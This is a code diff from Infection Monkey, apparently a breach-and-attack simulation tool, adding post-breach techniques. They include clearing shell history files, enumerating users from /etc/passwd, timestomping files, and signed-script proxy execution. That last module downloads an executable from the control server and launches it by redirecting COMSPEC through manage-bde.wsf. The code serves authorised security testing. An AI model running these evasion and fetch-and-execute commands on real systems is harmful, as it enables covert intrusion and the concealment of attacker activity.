||||||
|
def get_commands_to_clear_command_history():
|
||||||
|
(linux_cmds,
|
||||||
|
linux_cmd_hist_files,
|
||||||
|
linux_usernames) = (get_linux_commands_to_clear_command_history(),
|
||||||
|
get_linux_command_history_files(),
|
||||||
|
get_linux_usernames())
|
||||||
|
return linux_cmds, linux_cmd_hist_files, linux_usernames
|
|
@ -0,0 +1,55 @@
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
|
|
||||||
|
def get_linux_commands_to_clear_command_history():
|
||||||
|
if is_windows_os():
|
||||||
|
return ''
|
||||||
|
|
||||||
|
TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file'
|
||||||
|
|
||||||
|
return [
|
||||||
|
'3<{0} 3<&- && ', # check for existence of file
|
||||||
|
'cat {0} ' # copy contents of history file to...
|
||||||
|
f'> {TEMP_HIST_FILE} && ', # ...temporary file
|
||||||
|
'echo > {0} && ', # clear contents of file
|
||||||
|
'echo \"Successfully cleared {0}\" && ', # if successfully cleared
|
||||||
|
f'cat {TEMP_HIST_FILE} ', # restore history file back with...
|
||||||
|
'> {0} ;' # ...original contents
|
||||||
|
f'rm {TEMP_HIST_FILE} -f' # remove temp history file
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def get_linux_command_history_files():
|
||||||
|
if is_windows_os():
|
||||||
|
return []
|
||||||
|
|
||||||
|
HOME_DIR = "/home/"
|
||||||
|
|
||||||
|
# get list of paths of different shell history files (default values) with place for username
|
||||||
|
STARTUP_FILES = [
|
||||||
|
file_path.format(HOME_DIR) for file_path in
|
||||||
|
[
|
||||||
|
"{0}{{0}}/.bash_history", # bash
|
||||||
|
"{0}{{0}}/.local/share/fish/fish_history", # fish
|
||||||
|
"{0}{{0}}/.zsh_history", # zsh
|
||||||
|
"{0}{{0}}/.sh_history", # ksh
|
||||||
|
"{0}{{0}}/.history" # csh, tcsh
|
||||||
|
]
|
||||||
|
]
|
||||||
|
|
||||||
|
return STARTUP_FILES
|
||||||
|
|
||||||
|
|
||||||
|
def get_linux_usernames():
|
||||||
|
if is_windows_os():
|
||||||
|
return []
|
||||||
|
|
||||||
|
# get list of usernames
|
||||||
|
USERS = subprocess.check_output( # noqa: DUO116
|
||||||
|
"cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1",
|
||||||
|
shell=True
|
||||||
|
).decode().split('\n')[:-1]
|
||||||
|
|
||||||
|
return USERS
|
|
@ -1,5 +1,5 @@
|
||||||
SCHEDULED_TASK_NAME = 'monkey-spawn-cmd'
|
SCHEDULED_TASK_NAME = 'monkey-spawn-cmd'
|
||||||
SCHEDULED_TASK_COMMAND = 'C:\windows\system32\cmd.exe'
|
SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe'
|
||||||
|
|
||||||
# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
|
# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,18 @@
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
from infection_monkey.post_breach.signed_script_proxy.windows.signed_script_proxy import (
|
||||||
|
get_windows_commands_to_delete_temp_comspec,
|
||||||
|
get_windows_commands_to_proxy_execution_using_signed_script,
|
||||||
|
get_windows_commands_to_reset_comspec)
|
||||||
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
|
||||||
|
|
||||||
|
def get_commands_to_proxy_execution_using_signed_script():
|
||||||
|
windows_cmds = get_windows_commands_to_proxy_execution_using_signed_script()
|
||||||
|
return windows_cmds
|
||||||
|
|
||||||
|
|
||||||
|
def cleanup_changes(original_comspec):
|
||||||
|
if is_windows_os():
|
||||||
|
subprocess.run(get_windows_commands_to_reset_comspec(original_comspec), shell=True) # noqa: DUO116
|
||||||
|
subprocess.run(get_windows_commands_to_delete_temp_comspec(), shell=True) # noqa: DUO116
|
|
@ -0,0 +1,28 @@
|
||||||
|
import os
|
||||||
|
|
||||||
|
from infection_monkey.control import ControlClient
|
||||||
|
|
||||||
|
TEMP_COMSPEC = os.path.join(os.getcwd(), 'random_executable.exe')
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_commands_to_proxy_execution_using_signed_script():
|
||||||
|
download = ControlClient.get_T1216_pba_file()
|
||||||
|
with open(TEMP_COMSPEC, 'wb') as random_exe_obj:
|
||||||
|
random_exe_obj.write(download.content)
|
||||||
|
random_exe_obj.flush()
|
||||||
|
|
||||||
|
windir_path = os.environ['WINDIR']
|
||||||
|
signed_script = os.path.join(windir_path, 'System32', 'manage-bde.wsf')
|
||||||
|
|
||||||
|
return [
|
||||||
|
f'set comspec={TEMP_COMSPEC} &&',
|
||||||
|
f'cscript {signed_script}'
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_commands_to_reset_comspec(original_comspec):
|
||||||
|
return f'set comspec={original_comspec}'
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_commands_to_delete_temp_comspec():
|
||||||
|
return f'del {TEMP_COMSPEC} /f'
|
|
@ -0,0 +1,14 @@
|
||||||
|
TEMP_FILE = 'monkey-timestomping-file.txt'
|
||||||
|
TIMESTAMP_EPOCH = '197001010000.00'
|
||||||
|
|
||||||
|
|
||||||
|
def get_linux_timestomping_commands():
|
||||||
|
return [
|
||||||
|
f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && '
|
||||||
|
f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && '
|
||||||
|
f'cat {TEMP_FILE} ; '
|
||||||
|
f'rm {TEMP_FILE} -f'
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
|
|
@ -0,0 +1,10 @@
|
||||||
|
from infection_monkey.post_breach.timestomping.linux.timestomping import \
|
||||||
|
get_linux_timestomping_commands
|
||||||
|
from infection_monkey.post_breach.timestomping.windows.timestomping import \
|
||||||
|
get_windows_timestomping_commands
|
||||||
|
|
||||||
|
|
||||||
|
def get_timestomping_commands():
|
||||||
|
linux_cmds = get_linux_timestomping_commands()
|
||||||
|
windows_cmds = get_windows_timestomping_commands()
|
||||||
|
return linux_cmds, windows_cmds
|
|
@ -0,0 +1,13 @@
|
||||||
|
$TEMP_FILE = 'monkey-timestomping-file.txt'
|
||||||
|
$TIMESTAMP_EPOCH = '01/01/1970 00:00:00'
|
||||||
|
|
||||||
|
# create temporary file
|
||||||
|
New-Item -Path $TEMP_FILE -Force | Out-Null
|
||||||
|
Set-Content $TEMP_FILE -Value "Successfully changed a file's modification timestamp" -Force | Out-Null
|
||||||
|
|
||||||
|
# attempt to change modification timestamp
|
||||||
|
Get-ChildItem $TEMP_FILE | % { $_.LastWriteTime = $TIMESTAMP_EPOCH }
|
||||||
|
Get-Content $TEMP_FILE
|
||||||
|
|
||||||
|
# remove temporary file
|
||||||
|
Remove-Item $TEMP_FILE -Force -ErrorAction Ignore
|
|
@ -0,0 +1,8 @@
|
||||||
|
TEMP_FILE = 'monkey-timestomping-file.txt'
|
||||||
|
|
||||||
|
|
||||||
|
def get_windows_timestomping_commands():
|
||||||
|
return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1'
|
||||||
|
|
||||||
|
|
||||||
|
# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md
|
|
@ -7,14 +7,10 @@ from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector
|
||||||
MimikatzCredentialCollector
|
MimikatzCredentialCollector
|
||||||
|
|
||||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||||
# noinspection PyPep8
|
import infection_monkey.config # noqa: E402
|
||||||
import infection_monkey.config
|
from common.utils.wmi_utils import WMIUtils # noqa: E402
|
||||||
# noinspection PyPep8
|
from infection_monkey.system_info import InfoCollector # noqa: E402
|
||||||
from common.utils.wmi_utils import WMIUtils
|
from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402
|
||||||
# noinspection PyPep8
|
|
||||||
from infection_monkey.system_info import InfoCollector
|
|
||||||
# noinspection PyPep8
|
|
||||||
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
LOG.info('started windows info collector')
|
LOG.info('started windows info collector')
|
||||||
|
|
|
@ -1 +1,2 @@
|
||||||
from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport.http import HTTPServer # noqa: F401
|
||||||
|
from infection_monkey.transport.http import LockedHTTPServer # noqa: F401
|
||||||
|
|
|
@ -65,7 +65,7 @@ class TcpProxy(TransportProxyBase):
|
||||||
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
dest.connect((self.dest_host, self.dest_port))
|
dest.connect((self.dest_host, self.dest_port))
|
||||||
except socket.error as ex:
|
except socket.error:
|
||||||
source.close()
|
source.close()
|
||||||
dest.close()
|
dest.close()
|
||||||
continue
|
continue
|
||||||
|
|
|
@ -5,8 +5,8 @@ from infection_monkey.utils.linux.hidden_files import (
|
||||||
get_linux_commands_to_delete, get_linux_commands_to_hide_files,
|
get_linux_commands_to_delete, get_linux_commands_to_hide_files,
|
||||||
get_linux_commands_to_hide_folders)
|
get_linux_commands_to_hide_folders)
|
||||||
from infection_monkey.utils.windows.hidden_files import (
|
from infection_monkey.utils.windows.hidden_files import (
|
||||||
get_winAPI_to_hide_files, get_windows_commands_to_delete,
|
get_windows_commands_to_delete, get_windows_commands_to_hide_files,
|
||||||
get_windows_commands_to_hide_files, get_windows_commands_to_hide_folders)
|
get_windows_commands_to_hide_folders)
|
||||||
|
|
||||||
|
|
||||||
def get_commands_to_hide_files():
|
def get_commands_to_hide_files():
|
||||||
|
|
|
@ -51,13 +51,13 @@ def get_winAPI_to_hide_files():
|
||||||
fileCreation = win32file.CREATE_ALWAYS # overwrite existing file
|
fileCreation = win32file.CREATE_ALWAYS # overwrite existing file
|
||||||
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
|
fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN # make hidden
|
||||||
|
|
||||||
hiddenFile = win32file.CreateFile(HIDDEN_FILE_WINAPI,
|
win32file.CreateFile(HIDDEN_FILE_WINAPI,
|
||||||
fileAccess,
|
fileAccess,
|
||||||
0, # sharing mode: 0 => can't be shared
|
0, # sharing mode: 0 => can't be shared
|
||||||
None, # security attributes
|
None, # security attributes
|
||||||
fileCreation,
|
fileCreation,
|
||||||
fileFlags,
|
fileFlags,
|
||||||
0) # template file
|
0) # template file
|
||||||
|
|
||||||
return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True
|
return "Succesfully created hidden file: {}".format(HIDDEN_FILE_WINAPI), True
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
|
|
|
@ -6,6 +6,7 @@ from flask import Flask, Response, send_from_directory
|
||||||
from werkzeug.exceptions import NotFound
|
from werkzeug.exceptions import NotFound
|
||||||
|
|
||||||
import monkey_island.cc.environment.environment_singleton as env_singleton
|
import monkey_island.cc.environment.environment_singleton as env_singleton
|
||||||
|
from common.data.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
from monkey_island.cc.database import database, mongo
|
from monkey_island.cc.database import database, mongo
|
||||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||||
|
@ -35,6 +36,8 @@ from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||||
from monkey_island.cc.resources.remote_run import RemoteRun
|
from monkey_island.cc.resources.remote_run import RemoteRun
|
||||||
from monkey_island.cc.resources.reporting.report import Report
|
from monkey_island.cc.resources.reporting.report import Report
|
||||||
from monkey_island.cc.resources.root import Root
|
from monkey_island.cc.resources.root import Root
|
||||||
|
from monkey_island.cc.resources.T1216_pba_file_download import \
|
||||||
|
T1216PBAFileDownload
|
||||||
from monkey_island.cc.resources.telemetry import Telemetry
|
from monkey_island.cc.resources.telemetry import Telemetry
|
||||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||||
from monkey_island.cc.resources.test.clear_caches import ClearCaches
|
from monkey_island.cc.resources.test.clear_caches import ClearCaches
|
||||||
|
@ -130,6 +133,7 @@ def init_api_resources(api):
|
||||||
api.add_resource(Log, '/api/log', '/api/log/')
|
api.add_resource(Log, '/api/log', '/api/log/')
|
||||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||||
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||||
|
api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH)
|
||||||
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
||||||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||||
|
|
|
@ -1,8 +1,9 @@
|
||||||
import base64
|
import base64
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from Crypto import Random
|
# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained
|
||||||
from Crypto.Cipher import AES
|
from Crypto import Random # noqa: DOU133
|
||||||
|
from Crypto.Cipher import AES # noqa: DOU133
|
||||||
|
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
from common.cloud.aws.aws_instance import AwsInstance
|
from common.cloud.aws.aws_instance import AwsInstance
|
||||||
from monkey_island.cc.environment import Environment
|
from monkey_island.cc.environment import Environment
|
||||||
from monkey_island.cc.resources.auth.auth_user import User
|
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
|
@ -2,13 +2,17 @@ from __future__ import annotations
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
from pathlib import Path
|
||||||
from typing import Dict, List
|
from typing import Dict, List
|
||||||
|
|
||||||
|
import monkey_island.cc.environment.server_config_generator as server_config_generator
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
from monkey_island.cc.environment.user_creds import UserCreds
|
from monkey_island.cc.environment.user_creds import UserCreds
|
||||||
from monkey_island.cc.resources.auth.auth_user import User
|
from monkey_island.cc.resources.auth.auth_user import User
|
||||||
from monkey_island.cc.resources.auth.user_store import UserStore
|
from monkey_island.cc.resources.auth.user_store import UserStore
|
||||||
|
|
||||||
|
SERVER_CONFIG_FILENAME = "server_config.json"
|
||||||
|
|
||||||
|
|
||||||
class EnvironmentConfig:
|
class EnvironmentConfig:
|
||||||
def __init__(self,
|
def __init__(self,
|
||||||
|
@ -43,13 +47,15 @@ class EnvironmentConfig:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_from_file() -> EnvironmentConfig:
|
def get_from_file() -> EnvironmentConfig:
|
||||||
file_path = EnvironmentConfig.get_config_file_path()
|
file_path = EnvironmentConfig.get_config_file_path()
|
||||||
|
if not Path(file_path).is_file():
|
||||||
|
server_config_generator.create_default_config_file(file_path)
|
||||||
with open(file_path, 'r') as f:
|
with open(file_path, 'r') as f:
|
||||||
config_content = f.read()
|
config_content = f.read()
|
||||||
return EnvironmentConfig.get_from_json(config_content)
|
return EnvironmentConfig.get_from_json(config_content)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_config_file_path() -> str:
|
def get_config_file_path() -> str:
|
||||||
return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server_config.json')
|
return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME)
|
||||||
|
|
||||||
def to_dict(self) -> Dict:
|
def to_dict(self) -> Dict:
|
||||||
config_dict = {'server_config': self.server_config,
|
config_dict = {'server_config': self.server_config,
|
||||||
|
|
|
@ -1,7 +1,5 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
env = None
|
|
||||||
|
|
||||||
import monkey_island.cc.resources.auth.user_store as user_store
|
import monkey_island.cc.resources.auth.user_store as user_store
|
||||||
from monkey_island.cc.environment import (EnvironmentConfig, aws, password,
|
from monkey_island.cc.environment import (EnvironmentConfig, aws, password,
|
||||||
standard, testing)
|
standard, testing)
|
||||||
|
@ -22,6 +20,8 @@ ENV_DICT = {
|
||||||
TESTING: testing.TestingEnvironment
|
TESTING: testing.TestingEnvironment
|
||||||
}
|
}
|
||||||
|
|
||||||
|
env = None
|
||||||
|
|
||||||
|
|
||||||
def set_env(env_type: str, env_config: EnvironmentConfig):
|
def set_env(env_type: str, env_config: EnvironmentConfig):
|
||||||
global env
|
global env
|
||||||
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def create_default_config_file(path):
|
||||||
|
default_config_path = f"{path}.default"
|
||||||
|
default_config = Path(default_config_path).read_text()
|
||||||
|
Path(path).write_text(default_config)
|
|
@ -1,8 +1,20 @@
|
||||||
import argparse
|
import argparse
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
|
import sys
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def add_monkey_dir_to_sys_path():
|
||||||
|
monkey_path = Path(sys.path[0])
|
||||||
|
monkey_path = monkey_path.parents[2]
|
||||||
|
sys.path.insert(0, monkey_path.__str__())
|
||||||
|
|
||||||
|
|
||||||
|
add_monkey_dir_to_sys_path()
|
||||||
|
|
||||||
|
from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip
|
||||||
|
|
||||||
SERVER_CONFIG = "server_config"
|
SERVER_CONFIG = "server_config"
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
@ -12,7 +24,7 @@ logger.setLevel(logging.DEBUG)
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
args = parse_args()
|
args = parse_args()
|
||||||
file_path = get_config_file_path(args)
|
file_path = EnvironmentConfig.get_config_file_path()
|
||||||
|
|
||||||
# Read config
|
# Read config
|
||||||
with open(file_path) as config_file:
|
with open(file_path) as config_file:
|
||||||
|
@ -28,16 +40,9 @@ def main():
|
||||||
config_file.write("\n") # Have to add newline at end of file, since json.dump does not.
|
config_file.write("\n") # Have to add newline at end of file, since json.dump does not.
|
||||||
|
|
||||||
|
|
||||||
def get_config_file_path(args):
|
|
||||||
file_path = Path(__file__).parent.joinpath(args.file_name)
|
|
||||||
logger.info("Config file path: {}".format(file_path))
|
|
||||||
return file_path
|
|
||||||
|
|
||||||
|
|
||||||
def parse_args():
|
def parse_args():
|
||||||
parser = argparse.ArgumentParser()
|
parser = argparse.ArgumentParser()
|
||||||
parser.add_argument("server_config", choices=["standard", "testing", "password"])
|
parser.add_argument("server_config", choices=["standard", "testing", "password"])
|
||||||
parser.add_argument("-f", "--file_name", required=False, default="server_config.json")
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
return args
|
return args
|
||||||
|
|
|
@ -112,4 +112,3 @@ class TestEnvironment(TestCase):
|
||||||
self.assertTrue(method())
|
self.assertTrue(method())
|
||||||
else:
|
else:
|
||||||
self.assertFalse(method())
|
self.assertFalse(method())
|
||||||
|
|
||||||
|
|
|
@ -57,7 +57,7 @@ class TestEnvironmentConfig(TestCase):
|
||||||
|
|
||||||
def test_get_server_config_file_path(self):
|
def test_get_server_config_file_path(self):
|
||||||
if platform.system() == "Windows":
|
if platform.system() == "Windows":
|
||||||
server_file_path = MONKEY_ISLAND_ABS_PATH + "\cc\server_config.json"
|
server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json"
|
||||||
else:
|
else:
|
||||||
server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json"
|
server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json"
|
||||||
self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path)
|
self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path)
|
||||||
|
|
|
@ -1,35 +1,38 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import os.path
|
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
from pathlib import Path
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
|
|
||||||
MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
|
# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work.
|
||||||
|
MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
|
||||||
|
if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
|
||||||
|
sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
|
||||||
|
|
||||||
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402
|
||||||
|
from monkey_island.cc.island_logger import json_setup_logging # noqa: E402
|
||||||
if BASE_PATH not in sys.path:
|
|
||||||
sys.path.insert(0, BASE_PATH)
|
|
||||||
|
|
||||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
|
||||||
from monkey_island.cc.island_logger import json_setup_logging
|
|
||||||
|
|
||||||
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||||
json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
|
||||||
default_level=logging.DEBUG)
|
default_level=logging.DEBUG)
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
import monkey_island.cc.environment.environment_singleton as env_singleton
|
import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402
|
||||||
from common.version import get_version
|
from common.version import get_version # noqa: E402
|
||||||
from monkey_island.cc.app import init_app
|
from monkey_island.cc.app import init_app # noqa: E402
|
||||||
from monkey_island.cc.bootloader_server import BootloaderHttpServer
|
from monkey_island.cc.bootloader_server import \
|
||||||
from monkey_island.cc.database import get_db_version, is_db_server_up
|
BootloaderHttpServer # noqa: E402
|
||||||
from monkey_island.cc.network_utils import local_ip_addresses
|
from monkey_island.cc.database import get_db_version # noqa: E402
|
||||||
from monkey_island.cc.resources.monkey_download import MonkeyDownload
|
from monkey_island.cc.database import is_db_server_up # noqa: E402
|
||||||
|
from monkey_island.cc.network_utils import local_ip_addresses # noqa: E402
|
||||||
|
from monkey_island.cc.resources.monkey_download import \
|
||||||
|
MonkeyDownload # noqa: E402
|
||||||
from monkey_island.cc.services.reporting.exporter_init import \
|
from monkey_island.cc.services.reporting.exporter_init import \
|
||||||
populate_exporter_list
|
populate_exporter_list # noqa: E402
|
||||||
from monkey_island.cc.setup import setup
|
from monkey_island.cc.setup import setup # noqa: E402
|
||||||
|
|
||||||
|
MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
|
||||||
|
|
||||||
|
|
||||||
def main(should_setup_only=False):
|
def main(should_setup_only=False):
|
||||||
|
@ -54,8 +57,8 @@ def start_island_server(should_setup_only):
|
||||||
populate_exporter_list()
|
populate_exporter_list()
|
||||||
app = init_app(mongo_url)
|
app = init_app(mongo_url)
|
||||||
|
|
||||||
crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
|
crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt'))
|
||||||
key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
|
key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key'))
|
||||||
|
|
||||||
setup()
|
setup()
|
||||||
|
|
||||||
|
|
|
@ -143,7 +143,7 @@ class Monkey(Document):
|
||||||
try:
|
try:
|
||||||
_ = Monkey.get_single_monkey_by_id(object_id)
|
_ = Monkey.get_single_monkey_by_id(object_id)
|
||||||
return True
|
return True
|
||||||
except:
|
except: # noqa: E722
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -77,7 +77,7 @@ class TestMonkey(IslandTestCase):
|
||||||
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
|
self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
|
||||||
|
|
||||||
# Raise on non-existent monkey
|
# Raise on non-existent monkey
|
||||||
with pytest.raises(MonkeyNotFoundError) as e_info:
|
with pytest.raises(MonkeyNotFoundError) as _:
|
||||||
_ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
|
_ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
|
||||||
|
|
||||||
def test_get_os(self):
|
def test_get_os(self):
|
||||||
|
|
|
@ -0,0 +1,17 @@
|
||||||
|
import os
|
||||||
|
|
||||||
|
import flask_restful
|
||||||
|
from flask import send_from_directory
|
||||||
|
|
||||||
|
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||||
|
|
||||||
|
|
||||||
|
class T1216PBAFileDownload(flask_restful.Resource):
|
||||||
|
"""
|
||||||
|
File download endpoint used by monkey to download executable file for T1216 ("Signed Script Proxy Execution" PBA)
|
||||||
|
"""
|
||||||
|
|
||||||
|
def get(self):
|
||||||
|
executable_file_name = 'T1216_random_executable.exe'
|
||||||
|
return send_from_directory(directory=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'resources', 'pba'),
|
||||||
|
filename=executable_file_name)
|
|
@ -15,5 +15,5 @@ class IslandLog(flask_restful.Resource):
|
||||||
def get(self):
|
def get(self):
|
||||||
try:
|
try:
|
||||||
return IslandLogService.get_log_file()
|
return IslandLogService.get_log_file()
|
||||||
except Exception as e:
|
except Exception:
|
||||||
logger.error('Monkey Island logs failed to download', exc_info=True)
|
logger.error('Monkey Island logs failed to download', exc_info=True)
|
||||||
|
|
Binary file not shown.
|
@ -10,14 +10,16 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005,
|
||||||
T1059, T1064,
|
T1059, T1064,
|
||||||
T1065, T1075,
|
T1065, T1075,
|
||||||
T1082, T1086,
|
T1082, T1086,
|
||||||
T1090, T1105,
|
T1087, T1090,
|
||||||
|
T1099, T1105,
|
||||||
T1106, T1107,
|
T1106, T1107,
|
||||||
T1110, T1129,
|
T1110, T1129,
|
||||||
T1136, T1145,
|
T1136, T1145,
|
||||||
T1154, T1156,
|
T1146, T1154,
|
||||||
T1158, T1166,
|
T1156, T1158,
|
||||||
T1168, T1188,
|
T1166, T1168,
|
||||||
T1197, T1210,
|
T1188, T1197,
|
||||||
|
T1210, T1216,
|
||||||
T1222, T1504)
|
T1222, T1504)
|
||||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import \
|
from monkey_island.cc.services.reporting.report_generation_synchronisation import \
|
||||||
safe_generate_attack_report
|
safe_generate_attack_report
|
||||||
|
@ -57,7 +59,11 @@ TECHNIQUES = {'T1210': T1210.T1210,
|
||||||
'T1154': T1154.T1154,
|
'T1154': T1154.T1154,
|
||||||
'T1166': T1166.T1166,
|
'T1166': T1166.T1166,
|
||||||
'T1168': T1168.T1168,
|
'T1168': T1168.T1168,
|
||||||
'T1053': T1053.T1053
|
'T1053': T1053.T1053,
|
||||||
|
'T1099': T1099.T1099,
|
||||||
|
'T1216': T1216.T1216,
|
||||||
|
'T1087': T1087.T1087,
|
||||||
|
'T1146': T1146.T1146
|
||||||
}
|
}
|
||||||
|
|
||||||
REPORT_NAME = 'new_report'
|
REPORT_NAME = 'new_report'
|
||||||
|
|
|
@ -168,6 +168,15 @@ SCHEMA = {
|
||||||
"description": "Adversaries may abuse BITS to download, execute, "
|
"description": "Adversaries may abuse BITS to download, execute, "
|
||||||
"and even clean up after running malicious code."
|
"and even clean up after running malicious code."
|
||||||
},
|
},
|
||||||
|
"T1146": {
|
||||||
|
"title": "Clear command history",
|
||||||
|
"type": "bool",
|
||||||
|
"value": False,
|
||||||
|
"necessary": False,
|
||||||
|
"link": "https://attack.mitre.org/techniques/T1146",
|
||||||
|
"description": "Adversaries may clear/disable command history of a compromised "
|
||||||
|
"account to conceal the actions undertaken during an intrusion."
|
||||||
|
},
|
||||||
"T1107": {
|
"T1107": {
|
||||||
"title": "File Deletion",
|
"title": "File Deletion",
|
||||||
"type": "bool",
|
"type": "bool",
|
